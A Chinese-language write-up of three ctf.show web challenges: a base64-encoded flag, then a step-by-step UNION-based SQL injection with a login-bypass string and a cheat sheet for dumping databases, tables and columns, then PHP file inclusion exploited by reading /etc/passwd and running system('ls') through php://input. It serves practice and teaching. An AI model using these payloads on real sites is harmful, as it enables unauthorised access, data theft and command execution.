1.web 签到题

题目场景:

思路:页面描述很简单,选择查看源代码

看到类似flag,提交–>失败

flag应该是它,但是有点复杂无规律—>突然想到:符合base64条件

尝试:成功得到flag

2.ctf.show_web2

SQL理解学习

知识点1

SQL万能密码‘ or 1 = 1 #(a’ or true #)介绍:

select * from user where uername=' ' or1=1#' and password=balabala

“#”为注释符,则语句相当于:

select * from user

即绕过密码登录

知识点2

GET为url传参,POST为页面内部传参

判断字段:

' or 1=1 union select 1,2,3 #
只有中间位2,改变时页面回显内容会跟着一起改变,必须是三个数

说明有三个字段

现在要做顺序就是爆库,爆表,爆字段,爆值

爆库

' or 1=1 union select 1,database(),3 #

爆表

' or 1=1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="web2"#

爆字段

' or 1=1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name="flag"#

以下这一句是查错多余的

' or 1=1 union select 1,group_concat(column_name),3 from information_schema.columns where column_name="flag"#

爆字段值

直接简单查看
' or 1=1 union select 1,flag,3 from flag#

此处贴几个常用基本语句
爆库 union select 1,2,3,database(); # //这里得看有多少字段
爆表 union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database(); #
爆字段 union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name=”表名”; #
爆值 union select 1,2,3,字段 from 表名; #

3.ctf.show_web3

题目描述:

<?php include($_GET['url']);?> 
看到关键字include(),想到可能与PHP文件包含有关

并且这个文件包含是利用了GET方式在url中进行传参

查看PHP的include(),了解到了PHP伪协议的用法

点这里了解:文件包含漏洞与PHP伪协议结合

php://input

这个协议的利用方法是 将要执行的语法php代码写在post中提交,不用键与值的形式,只写代码即可

条件:
allow_url_include=On
allow_url_fopen-Off/On

解题:

1.先使用//etc/passwd

尝试查看其他页面

2.使用php://input

利用post查看当前目录结构

BP抓包,body中写入

<?php system("ls");?>

3.查看ctf_go_go_go文件